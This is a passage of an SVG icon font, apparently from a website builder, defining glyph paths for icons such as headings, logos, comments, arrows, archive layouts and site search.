<glyph glyph-name="heading" unicode="&#xe8af;" d="M606-67l0 0c0 0 0 0 0 0z m12 870c0 0 0 0 0 0 0 0-1 1-1 1 0 0 0 0 1-1 0 0 0 0 0 0z m-221-36c0 0 0 0 0 0l0 0z m-280 36c1 0 1 0 0 0 0 0 0 1-1 1 0 0 1 0 1-1 0 0 0 0 0 0z m-11-870c0 0 0 0 0 0l0 0z m644 0l60 1c-3 4-6 9-8 15-8 19-9 35-8 69 0 7 0 10 0 14v651c0 36 7 64 21 84l-63 0-65-1c14-20 21-48 21-84v-247c0-24-19-44-43-44h-327c-25 0-44 20-44 44v248c0 36 7 64 21 84l-63 0-65-1c14-20 21-48 21-84v-651c0-4 0-7 0-14 1-35 0-50-8-70-2-5-5-10-7-14l57 0 60 0c-3 5-6 10-8 15-8 20-9 35-8 70 0 7 0 10 0 14v232c0 24 20 44 44 44h327c24 0 43-20 43-44v-233c0-4 0-7 1-14 1-35 0-50-9-70-2-5-4-10-7-14l57 0z m-415 332v-233c0-42-9-90 49-96 6 0 12-1 18-3 9-3 15-11 15-20 0-12-9-21-21-21l-146 0-144 0c-12 0-21 9-21 20 0 10 6 18 15 20 6 2 11 3 17 3 58 6 49 54 49 96v651c0 94-56 77-71 86-1 1-2 1-3 2-9 7-12 20-5 29 4 6 10 9 17 9l147 0 146 0c6 0 13-3 17-8 6-10 4-23-5-30-18-11-74 7-74-87v-248c0-1 1-2 3-2h326c1 0 2 1 2 2v247c0 94-56 77-71 86 0 1-1 1-2 2-10 7-12 20-5 29 3 6 10 9 17 9l147 0 145 0c7 0 13-3 17-8 7-10 4-23-5-30-17-11-73 7-73-87v-651c0-42-9-90 49-96 6 0 12-1 17-3 9-3 16-11 16-20 0-12-10-21-21-21l-147 0-144 0c-11 0-21 9-21 20 0 10 7 18 16 20 5 2 11 3 17 3 57 6 48 54 48 96v234c0 1-1 2-2 2h-326c-2 0-3-1-3-2z" horiz-adv-x="1000" />

<glyph glyph-name="logo" unicode="&#xe8b0;" d="M937 350c0 242-196 437-437 437s-437-195-437-437 195-437 437-437 437 195 437 437z m42 0c0-265-214-479-479-479s-479 214-479 479 214 479 479 479 479-214 479-479z m-773 75h9l0 0c7 0 12-5 12-11v-99l0 0c0-7 5-12 11-12h28l0 0c7 0 12-5 12-11v-10l0 0c0-7-5-12-12-12h-60l0 0c-6 0-11 5-11 12v132l0 0c0 6 5 11 11 11z m214-76c0 15-5 27-13 36-9 10-21 14-35 14s-27-4-35-14-14-21-14-36c0-16 5-28 14-37 9-9 21-14 35-14s26 5 35 14c8 9 13 21 13 37z m-106-57c-16 15-24 33-24 57 0 23 8 42 24 57 16 15 35 22 58 22 23 0 42-7 58-22 15-15 23-34 23-57 0-23-8-42-23-57-16-15-35-23-58-23s-42 8-58 23z m155 57c0 23 8 41 24 56 16 15 35 23 57 23 18 0 33-4 47-13 13-9 23-22 26-34 0-7-8-8-21-8-4 0-7 2-10 6-7 14-25 20-42 20-15 0-26-4-35-14s-13-21-13-36c0-16 4-28 13-37 9-9 20-14 33-14 13 0 23 4 31 10 8 6 11 11 13 19h-41l0 0c-6 0-11 5-11 11 0 0 0 0 0 0l0 8 0 0c0 7 5 11 11 11l64-1 0 0c6 0 11-5 11-11v-11c-3-16-9-32-24-44-14-13-32-20-54-20s-40 8-55 23c-16 14-24 33-24 56z m305 0c0 15-5 27-14 36s-20 14-35 14-26-4-35-14-13-21-13-36c0-16 5-28 13-37 10-9 21-14 35-14s27 5 35 14c10 9 14 21 14 37z m-106-57c-16 15-24 33-24 57 0 23 8 42 24 57 16 15 35 22 58 22s42-7 57-22c16-15 24-34 24-57 0-23-8-42-24-57-15-15-35-23-58-23-22 0-42 8-57 23z m-509 187c-9 0-17 8-17 17 0 9 8 17 17 17h674c10 0 17-8 17-17 0-9-7-17-17-17h-674z m0-291c-9 0-17 7-17 16s8 17 17 17h674c10 0 17-8 17-17s-7-16-17-16h-674z" horiz-adv-x="1000" />

<glyph glyph-name="meta-data" unicode="&#xe8b1;" d="M422-68l-316 296c-13 12-14 33-2 47l446 479c6 7 15 11 25 11l293-2c17 0 32-14 33-31l23-293c1-9-3-18-9-25l-446-480c-12-13-34-14-47-2z m460 508l-22 281-282 2-438-471 305-283 437 471z m-504-286c-43 17-64 66-47 109 17 42 66 63 109 46 42-17 63-66 46-109-17-42-66-63-108-46z m30 36c23 0 42 18 42 41 0 23-19 42-42 42s-41-19-41-42c0-23 18-41 41-41z m109 119c-43 17-64 66-47 108 18 43 66 63 109 46 42-17 63-65 46-108s-65-63-108-46z m31 36c23 0 42 18 42 41 0 23-19 42-42 42-23 0-42-19-42-42 0-23 19-41 42-41z m108 119c-42 17-63 66-46 108 17 43 66 63 108 46s64-65 47-108c-17-43-66-63-109-46z m32 35c22 0 41 19 41 42 0 23-19 42-41 42s-42-19-42-42c0-23 18-42 42-42z" horiz-adv-x="1000" />

<glyph glyph-name="post-content" unicode="&#xe8b2;" d="M435 267h-120l-25-70c-3-11-15-17-26-12-11 3-17 15-13 26l104 292c7 18 33 18 40 0l104-292c4-11-2-23-13-26s-23 1-26 12l-25 70z m-15 41l-45 126-45-126h90z m-40 535c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z m-250-333c-12 0-21 9-21 21s9 21 21 21h166c12 0 21-9 21-21s-9-21-21-21h-166z m0-125c-12 0-21 9-21 21s9 21 21 21h166c12 0 21-9 21-21s-9-21-21-21h-166z m0-125c-12 0-21 9-21 21s9 21 21 21h166c12 0 21-9 21-21s-9-21-21-21h-166z m-271-146c-12 0-21 9-21 21s9 21 21 21h458c12 0 21-9 21-21s-9-21-21-21h-458z m0-125c-12 0-21 9-21 21s9 21 21 21h458c12 0 21-9 21-21s-9-21-21-21h-458z" horiz-adv-x="1000" />

<glyph glyph-name="post-excerpt" unicode="&#xe8b3;" d="M380 843c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z m-459-812c0-23-19-42-41-42s-42 19-42 42 19 42 42 42 41-19 41-42z m125 0c0-23-19-42-41-42s-42 19-42 42 19 42 42 42 41-19 41-42z m125 0c0-23-19-42-41-42s-42 19-42 42 19 42 42 42 41-19 41-42z m-312 250c-12 0-21 9-21 21s9 21 21 21h458c12 0 21-10 21-21s-9-21-21-21h-458z m0 125c-12 0-21 9-21 21s9 21 21 21h333c12 0 21-10 21-21s-9-21-21-21h-333z m0-250c-12 0-21 9-21 21s9 21 21 21h375c11 0 21-10 21-21s-10-21-21-21h-375z" horiz-adv-x="1000" />

<glyph glyph-name="post-navigation" unicode="&#xe8b4;" d="M783 329h-158c-12 0-21 9-21 21s9 21 21 21h158l-29 25c-8 8-8 21 0 29 9 8 21 8 29 0l63-58c8-9 8-21 0-29l-63-67c-8-8-20-8-29 0-8 8-8 21 0 29l29 29z m-283 292h417c33 0 62-29 62-63v-416c0-34-29-63-62-63h-417-417c-33 0-62 29-62 63v416c0 34 29 63 62 63h417z m-283-250h158c13 0 21-8 21-21s-8-21-21-21h-158l25-29c8-8 8-21 0-29-9-8-21-8-29 0l-63 67c-8 8-8 20 0 29l63 58c8 8 20 8 29 0s8-21 0-29l-25-25z m262 208h-396c-12 0-20-8-20-21v-416c0-13 8-21 20-21h396v458z m21 42h21v-542h-21-21v542h21z m21-42v-458h396c12 0 21 8 21 21v416c0 13-9 21-21 21h-396z" horiz-adv-x="1000" />

<glyph glyph-name="yoast" unicode="&#xe8b5;" d="M300 542c0 0 38-109 117-329 16-59 12-105-9-138-16-29-45-50-87-67 0 0 0-25 0-75 42 4 75 21 104 50 38 38 63 80 75 125l242 659c0 0-29 0-88 0 0 0-54-159-162-479-4-17-34-17-38 0l-79 250c0 0-25 4-75 4z m313 237c8 17 20 29 41 29h88c21 0 41-16 41-41 0-4 0-9-4-13l-237-658c-17-50-46-96-84-138-37-37-79-58-125-62-20-4-41 12-45 37 0 4 0 4 0 4v76c0 16 12 33 25 37 33 13 54 29 66 50 13 21 17 58 4 104l-120 321c-9 21 4 46 25 54 4 0 8 4 12 4h75c17 0 33-12 38-29l58-191 142 416z m262-762l0 587c0 42-33 79-58 79 0 0-17 0-17 21s17 21 17 21c58 0 100-54 100-121l0-625-367 0c-12 0-21 8-21 21s9 21 21 21l325-4z m-342 708c13-4 17-8 17-21s-4-16-17-21l-220 0c-105 0-188-62-188-166l0-334c0-79 25-166 104-166 17 0 21-9 21-25 0-9-8-17-21-17-104 0-146 104-146 208l0 334c0 125 105 208 230 208l220 0z" horiz-adv-x="1000" />

<glyph glyph-name="nerd-chuckle" unicode="&#xe8b6;" d="M958 350c0 253-205 458-458 458s-458-205-458-458 205-458 458-458 458 205 458 458z m42 0c0-276-224-500-500-500s-500 224-500 500 224 500 500 500 500-224 500-500z m-240-107c-10 6-22 2-28-8-45-78-123-114-232-114-109 0-187 36-232 114-6 10-18 14-28 8-10-6-14-18-8-28 30-52 71-88 123-110 0-1-1-3-1-5v-83c0-12 9-21 21-21h125c12 0 21 9 21 21v63c112 4 197 47 247 135 6 10 2 23-8 28z m-364-205v54c26-7 54-11 83-12v-42h-83z m302 624c-95 0-172-74-176-168-6 1-14 2-22 2-8 0-16-1-22-2-4 94-81 168-176 168-97 0-176-79-176-177s79-176 176-176c71 0 133 43 161 104 9 2 16 10 16 20 0 21 1 21 21 21 20 0 21 0 21-21 0-10 7-18 17-20 27-61 89-104 160-104 97 0 176 79 176 176s-79 177-176 177z m-396-313c-75 0-136 61-136 136 0 76 61 137 136 137 76 0 136-62 136-137 0-75-60-136-136-136z m396 0c-75 0-136 61-136 136 0 76 61 137 136 137 75 0 136-62 136-137 0-75-61-136-136-136z m23 134c0 12-9 21-21 21s-21-9-21-21 9-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62-35 0-62 28-62 62s27 63 62 63c35 0 63-28 63-63z m-438 0c0 12-9 21-21 21s-21-9-21-21 10-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62s-62 28-62 62 28 63 62 63 63-28 63-63z" horiz-adv-x="1000" />

<glyph glyph-name="nerd-wink" unicode="&#xe8b7;" d="M958 350c0 253-205 458-458 458s-458-205-458-458 205-458 458-458 458 205 458 458z m42 0c0-276-224-500-500-500s-500 224-500 500 224 500 500 500 500-224 500-500z m-768-135c53-93 146-136 268-136s215 43 268 136c6 10 2 23-8 28-10 6-22 2-28-8-45-78-123-114-232-114s-187 36-232 114c-6 10-18 14-28 8-10-5-14-18-8-28z m466 447c-95 0-172-74-176-168-6 1-14 2-22 2-8 0-16-1-22-2-4 94-81 168-176 168-97 0-176-79-176-177s79-176 176-176c71 0 133 43 161 104 9 2 16 10 16 20 0 21 1 21 21 21 20 0 21 0 21-21 0-10 7-18 17-20 27-61 89-104 160-104 97 0 176 79 176 176s-79 177-176 177z m-396-313c-75 0-136 61-136 136 0 76 61 137 136 137 76 0 136-62 136-137 0-75-60-136-136-136z m396 0c-75 0-136 61-136 136 0 76 61 137 136 137 75 0 136-62 136-137 0-75-61-136-136-136z m-373 134c0 12-9 21-21 21s-21-9-21-21 10-20 21-20 21 9 21 20z m42 0c0-34-28-62-63-62s-62 28-62 62 28 63 62 63 63-28 63-63z m279-8h125c12 0 21 9 21 21s-9 21-21 21h-125c-12 0-21-9-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="comments" unicode="&#xe8b8;" d="M217 183c-3 0-7 1-9 3-6 4-9 11-7 18l28 113h-12c-65 0-117 52-117 116v234c0 64 52 116 117 116h400c64 0 116-52 116-116 0-9-7-17-16-17h-134c-46 0-83-37-83-83v-200c0-9 2-18 5-28 2-5 1-11-2-15-3-5-8-7-13-7h-101l-162-130c-3-2-7-4-10-4z m0 567c-46 0-84-37-84-83v-234c0-46 38-83 84-83h33c5 0 10-2 13-6s4-10 3-15l-21-85 128 102c3 3 7 4 10 4h85c-1 6-1 11-1 17v200c0 64 52 116 116 116h115c-7 38-41 67-81 67h-400z m766-633c-3 0-7 1-10 3l-162 130h-228c-64 0-116 52-116 117v200c0 64 52 116 116 116h400c65 0 117-52 117-116v-200c0-65-52-117-117-117h-12l29-113c1-7-2-14-8-18-2-1-5-2-9-2z m-400 533c-46 0-83-37-83-83v-200c0-46 37-84 83-84h234c3 0 7-1 10-3l128-103-21 86c-1 5 0 10 3 14s8 6 13 6h33c46 0 84 38 84 84v200c0 46-38 83-84 83h-400z" horiz-adv-x="1000" />

<glyph glyph-name="download-circle-o" unicode="&#xe8b9;" d="M167 350c0-184 149-333 333-333s333 149 333 333-149 333-333 333-333-149-333-333z m-84 0c0 230 187 417 417 417s417-187 417-417-187-417-417-417-417 187-417 417z m375-83h-104c-6 0-10-2-14-6s-7-8-7-13 2-9 7-13l145-129c5-4 10-6 15-6s10 2 15 6l145 129c5 4 7 8 7 13s-2 10-7 13-9 6-14 6h-104v293c0 16-19 40-42 40s-42-23-42-40v-293z" horiz-adv-x="1000" />

<glyph glyph-name="library-upload" unicode="&#xe8ba;" d="M479 113v-138c0-13 9-21 21-21s21 8 21 21v138l25-25c8-9 21-9 29 0 8 8 8 20 0 29l-62 62c-9 9-21 9-30 0l-62-62c-8-9-8-21 0-29 8-9 21-9 29 0l29 25z m-146-55c0-91 75-166 167-166s167 75 167 166-75 167-167 167-167-75-167-167z m-291 688c0 0 0 0 0 0 0 58 46 104 104 104h708c59 0 104-46 104-104v-129c25-21 42-50 42-88v-383c0-58-46-108-108-108h-121c-13 0-21 8-21 20s8 21 21 21h121c37 0 66 29 66 67v383c0 38-29 71-66 71h-500c-42 0-84 25-100 71l0 0-4 8c-9 29-34 46-63 46h-117c-37 0-66-29-66-67v-512c0-38 29-67 66-67h121c13 0 21-8 21-21s-8-20-21-20h-121c-58 0-108 50-108 108v512c0 34 17 67 42 88z m46 21c8 0 12 0 20 0h121c46 0 84-29 100-71l4-4 0-4c9-30 34-46 59-46h500c8 0 16 0 25-4v108c0 33-29 62-63 62h-708c-29 0-50-16-58-41z m204-709c0 117 91 209 208 209s208-92 208-209-91-208-208-208-208 92-208 208z" horiz-adv-x="1000" />

<glyph glyph-name="save-o" unicode="&#xe8bb;" d="M683 725c-4 0-12 0-16 0h0-63-83-271-42c-45 0-83-37-83-83v-584c0-45 38-83 83-83h584c46 0 83 38 83 83v459c0 108-83 196-192 208z m-183-83v-146c0-13 8-21 21-21h83c13 0 21 8 21 21v146h42c0 0 0 0 0 0v-209h-334v209h167z m292-584h-584v584h42v-250c0-25 17-42 42-42h416c25 0 42 17 42 42v216c25-25 42-54 42-91v-459z" horiz-adv-x="1000" />

<glyph glyph-name="upload-circle-o" unicode="&#xe8bc;" d="M833 350c0 184-149 333-333 333s-333-149-333-333 149-333 333-333 333 149 333 333z m84 0c0-230-187-417-417-417s-417 187-417 417 187 417 417 417 417-187 417-417z m-375 83h104c6 0 10 2 14 6s7 8 7 13-2 9-7 13l-145 129c-5 4-10 6-15 6s-10-2-15-6l-145-129c-5-4-7-8-7-13s2-9 7-13 9-6 14-6h104v-293c0-16 19-40 42-40s42 23 42 40v293z" horiz-adv-x="1000" />

<glyph glyph-name="ellipsis-h" unicode="&#xe8bd;" d="M208 267c-45 0-83 37-83 83s38 83 83 83 84-37 84-83-38-83-84-83z m292 0c-46 0-83 37-83 83s37 83 83 83 83-37 83-83-37-83-83-83z m292 0c-46 0-84 37-84 83s38 83 84 83 83-37 83-83-37-83-83-83z" horiz-adv-x="1000" />

<glyph glyph-name="ellipsis-v" unicode="&#xe8be;" d="M417 642c0 46 37 83 83 83s83-37 83-83-37-84-83-84-83 38-83 84z m0-292c0 46 37 83 83 83s83-37 83-83-37-83-83-83-83 37-83 83z m0-292c0 46 37 84 83 84s83-38 83-84-37-83-83-83-83 38-83 83z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-left" unicode="&#xe8bf;" d="M263 304l158-162c25-25 25-63 0-88-25-25-63-25-88 0l-270 279c-25 25-25 63 0 88l266 262c25 30 63 25 88 0 25-25 25-62 0-87l-171-167 650 4c33 0 62-29 62-62 0-33-29-63-62-63l-633-4z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-right" unicode="&#xe8c0;" d="M738 304l-159-162c-25-25-25-63 0-88s63-25 88 0l271 279c25 25 25 63 0 88l-267 262c-25 25-63 25-88 0-25-25-25-62 0-87l171-167-650 4c-33 0-62-29-62-62 0-33 29-63 62-63l634-4z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-up" unicode="&#xe8c1;" d="M413 588l-163-159c-25-25-62-25-87 0s-21 67 4 92l279 271c25 25 62 25 87 0l263-267c25-25 25-62 0-87-25-25-63-25-88 0l-166 170 0-654c0-33-29-62-63-62-33 0-62 29-62 62l-4 634z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-down" unicode="&#xe8c2;" d="M413 113l-163 158c-25 25-62 25-87 0s-25-63 0-88l279-271c25-25 62-25 87 0l263 267c25 25 25 63 0 88-25 25-63 25-88 0l-166-171 4 650c0 33-29 62-63 62-33 0-62-29-62-62l-4-633z" horiz-adv-x="1000" />

<glyph glyph-name="play-o" unicode="&#xe8c3;" d="M498-124c-264 0-477 213-477 477s213 476 477 476 476-213 476-476-213-477-476-477z m151 487l-238 141v-281l238 140z" horiz-adv-x="1000" />

<glyph glyph-name="archive-posts" unicode="&#xe8c4;" d="M958 600h-916v-646c0-34 28-62 62-62h792c34 0 62 28 62 62v646z m0 42v62c0 35-28 63-62 63h-792c-34 0-62-28-62-63v-62h916z m42-688c0-57-47-104-104-104h-792c-57 0-104 47-104 104v750c0 58 47 104 104 104h792c57 0 104-46 104-104v-750z m-854 438c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m21 41h41v42h-41v-42z m-21-250c-12 0-21 10-21 21v84c0 11 9 20 21 20h83c12 0 21-9 21-20v-84c0-11-9-21-21-21h-83z m21 42h41v42h-41v-42z m-21-250c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m21 42h41v41h-41v-41z m146 458c-12 0-21 9-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-83c-12 0-21 9-21 21s9 20 21 20h125c11 0 20-9 20-20s-9-21-20-21h-125z m0-125c-12 0-21 9-21 21s9 20 21 20h125c11 0 20-9 20-20s-9-21-20-21h-125z m0-84c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-125c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-83c-12 0-21 9-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m250 417c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m20 41h42v42h-42v-42z m-20-250c-12 0-21 10-21 21v84c0 11 9 20 21 20h83c12 0 21-9 21-20v-84c0-11-9-21-21-21h-83z m20 42h42v42h-42v-42z m-20-250c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m20 42h42v41h-42v-41z m146 458c-11 0-21 9-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-83c-11 0-21 9-21 21s10 20 21 20h125c12 0 21-9 21-20s-9-21-21-21h-125z m0-125c-11 0-21 9-21 21s10 20 21 20h125c12 0 21-9 21-20s-9-21-21-21h-125z m0-84c-11 0-21 10-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-125c-11 0-21 10-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-83c-11 0-21 9-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m-604 729c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21" horiz-adv-x="1000" />

<glyph glyph-name="archive-title" unicode="&#xe8c5;" d="M958 600h-916v-646c0-34 28-62 62-62h792c34 0 62 28 62 62v646z m0 42v62c0 35-28 63-62 63h-792c-34 0-62-28-62-63v-62h916z m42-688c0-57-47-104-104-104h-792c-57 0-104 47-104 104v750c0 58 47 104 104 104h792c57 0 104-46 104-104v-750z m-875 750c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21z m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21z m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21z m-146-729c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m21 42h41v41h-41v-41z m146 41c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m0-83c-12 0-21 9-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21h-125z m250 0c-12 0-21 9-21 21v83c0 12 9 21 21 21h83c12 0 21-9 21-21v-83c0-12-9-21-21-21h-83z m20 42h42v41h-42v-41z m146 41c-11 0-21 10-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m0-83c-11 0-21 9-21 21s10 21 21 21h125c12 0 21-9 21-21s-9-21-21-21h-125z m-250 292v208h-83v-22c0-12-9-21-21-21s-21 9-21 21v43c0 12 9 21 21 21h250c12 0 21-9 21-21v-43c0-12-9-21-21-21s-21 9-21 21v22h-83v-208h42c11 0 20-9 20-21s-9-21-20-21h-125c-12 0-21 9-21 21s9 21 21 21h41z" horiz-adv-x="1000" />

<glyph glyph-name="featured-image" unicode="&#xe8c6;" d="M104 183c-11 0-21 10-21 21v542c0 12 10 21 21 21h792c12 0 21-9 21-21v-542c0-11-9-21-21-21h-792z m21 42h750v500h-750v-500z m-21-167c-11 0-21 10-21 21s10 21 21 21h334c11 0 20-9 20-21s-9-21-20-21h-334z m459 0c-12 0-21 10-21 21s9 21 21 21h333c12 0 21-9 21-21s-9-21-21-21h-333z m-459-125c-11 0-21 9-21 21s10 21 21 21h334c11 0 20-9 20-21s-9-21-20-21h-334z m459 0c-12 0-21 9-21 21s9 21 21 21h333c12 0 21-9 21-21s-9-21-21-21h-333z m-246 477l-197-220c-8-9-21-9-30-2-9 8-9 21-2 30l210 233c7 8 19 9 27 3l124-88 174 218c9 11 25 10 33-1l257-367c6-10 4-23-5-29-10-7-23-4-30 5l-240 343-168-211c-7-9-20-11-29-4l-124 90z m-11 186c0 25-19 46-43 46s-43-21-43-46 20-46 43-46 43 20 43 46z m42 0c0-48-38-88-85-88s-84 40-84 88 37 87 84 87 85-39 85-87z" horiz-adv-x="1000" />

<glyph glyph-name="post-info" unicode="&#xe8c7;" d="M380 843c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z m-459-708c0 12-9 21-21 21s-20-9-20-21 9-21 20-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 28 63 62 63 63-28 63-63z m125 0c0 12-9 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m42 0c0-35-28-62-63-62s-62 27-62 62 27 63 62 63 63-28 63-63z m125 0c0 12-10 21-21 21s-21-9-21-21 9-21 21-21 21 9 21 21z m41 0c0-35-28-62-62-62s-63 27-63 62 28 63 63 63 62-28 62-63z" horiz-adv-x="1000" />

<glyph glyph-name="post-title" unicode="&#xe8c8;" d="M479 100c0 0 0 0 0 1v291h-125v-33c0-12-9-21-21-21s-20 9-20 21v54c0 11 9 20 20 20h334c11 0 21-9 21-20v-54c0-12-10-21-21-21s-21 9-21 21v33h-125v-291c0-1 0-1 0-1h42c11 0 20-9 20-21s-9-21-20-21h-125c-12 0-21 10-21 21s9 21 21 21h41z m-99 743c4 5 10 7 16 7h417c34 0 62-28 62-62v-876c0-34-28-62-62-62h-625c-35 0-63 28-63 62v667c0 6 3 12 7 16l248 248z m-5-64l-179-179h158c12 0 21 9 21 21v158z m438 29h-396v-187c0-35-28-63-63-63h-187v-646c0-11 9-20 21-20h625c11 0 20 9 20 20v876c0 11-9 20-20 20z" horiz-adv-x="1000" />

<glyph glyph-name="site-logo" unicode="&#xe8c9;" d="M958 600h-916v-642c0-37 28-66 62-66h792c34 0 62 29 62 66v642z m0 42v58c0 37-28 67-62 67h-792c-34 0-62-30-62-67v-58h916z m42-684c0-59-46-108-104-108h-792c-58 0-104 49-104 108v742c0 60 46 108 104 108h792c58 0 104-48 104-108v-742z m-875 746c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21m-113-398h11c6 0 12-6 12-13v-103c0-7 6-12 13-12h30c7 0 13-6 13-13l0-10c0-7-5-12-13-12 0 0 0 0 0 0l-65 0c-7 0-13 5-13 12v138c0 7 5 13 12 13z m233-81c0 16-5 29-14 39-10 9-23 14-39 14s-28-5-38-14c-10-10-15-23-15-39 0-16 5-29 15-39 10-9 22-14 38-14s29 5 39 14c10 10 14 23 14 39z m-115-60c-17 16-26 36-26 60 0 24 9 44 26 60s38 23 63 23 46-8 63-23c17-16 25-36 25-60 0-24-8-44-25-60-17-15-38-23-63-23-25 0-46 8-63 23z m169 60c0 24 9 44 26 60 17 15 38 23 63 23 18 0 35-4 50-13 14-9 25-23 28-35 1-8-8-10-22-10-4 0-8 3-11 7-8 14-27 22-46 22-16 0-28-5-38-15-10-9-15-22-15-39 0-16 5-29 15-38 10-10 22-15 36-15s25 4 34 10c9 6 12 12 14 20h-45c-6 0-12 5-12 12 0 0 0 1 0 1l0 7c1 6 6 12 13 12l69-1c7 0 12-5 12-13v-10c-3-18-10-34-26-47-16-14-35-20-59-20s-44 7-61 23c-17 15-25 35-25 59z m332 0c0 16-5 29-15 39-10 9-23 14-38 14-16 0-29-5-39-14-10-10-14-23-14-39 0-16 5-29 14-39 10-9 23-14 39-14 15 0 28 5 38 14 10 10 15 23 15 39z m-116-60c-17 16-25 36-25 60 0 24 8 44 26 60s37 23 62 23c25 0 46-8 63-23 17-16 26-36 26-60 0-24-9-44-26-60-17-15-38-23-63-23-25 0-46 8-63 23z m172-107h-708c-12 0-21 10-21 21s9 21 21 21h708c12 0 21-9 21-21s-9-21-21-21z m0 292h-708c-12 0-21 9-21 21s9 21 21 21h708c12 0 21-9 21-21s-9-21-21-21z" horiz-adv-x="1000" />

<glyph glyph-name="site-search" unicode="&#xe8ca;" d="M958 600h-916v-642c0-37 28-66 62-66h792c34 0 62 29 62 66v642z m0 42v58c0 37-28 67-62 67h-792c-34 0-62-30-62-67v-58h916z m42-684c0-59-46-108-104-108h-792c-58 0-104 49-104 108v742c0 60 46 108 104 108h792c58 0 104-48 104-108v-742z m-875 746c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21z m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21z m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21z m141-491c0-1-1-2-2-3l-146-145c-8-9-21-9-29 0s-8 21 0 29l146 146c1 1 1 1 2 2-19 24-29 55-29 88 0 80 65 145 145 145s146-65 146-145-65-146-146-146c-32-1-62 10-87 29z m192 116c0 58-47 104-104 104s-104-46-104-104 46-104 104-104 104 47 104 104z" horiz-adv-x="1000" />

<glyph glyph-name="site-title" unicode="&#xe8cb;" d="M958 600h-916v-642c0-37 28-66 62-66h792c34 0 62 29 62 66v642z m0 42v58c0 37-28 67-62 67h-792c-34 0-62-30-62-67v-58h916z m42-684c0-59-46-108-104-108h-792c-58 0-104 49-104 108v742c0 60 46 108 104 108h792c58 0 104-48 104-108v-742z m-875 746c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21m375-366c-12 0-21 9-21 21v33h-292v-33c0-12-9-21-21-21s-20 9-20 21v54c0 11 9 20 20 20h334c11 0 21-9 21-20v-54c0-11-10-21-21-21z m-167-258c-12 0-21 9-21 21v307c0 12 9 21 21 21 12 0 21-9 21-21v-307c0-12-9-21-21-21z m63-22h-125c-12 0-21 10-21 21s9 21 21 21h125c11 0 20-9 20-21s-9-21-20-21z" horiz-adv-x="1000" />

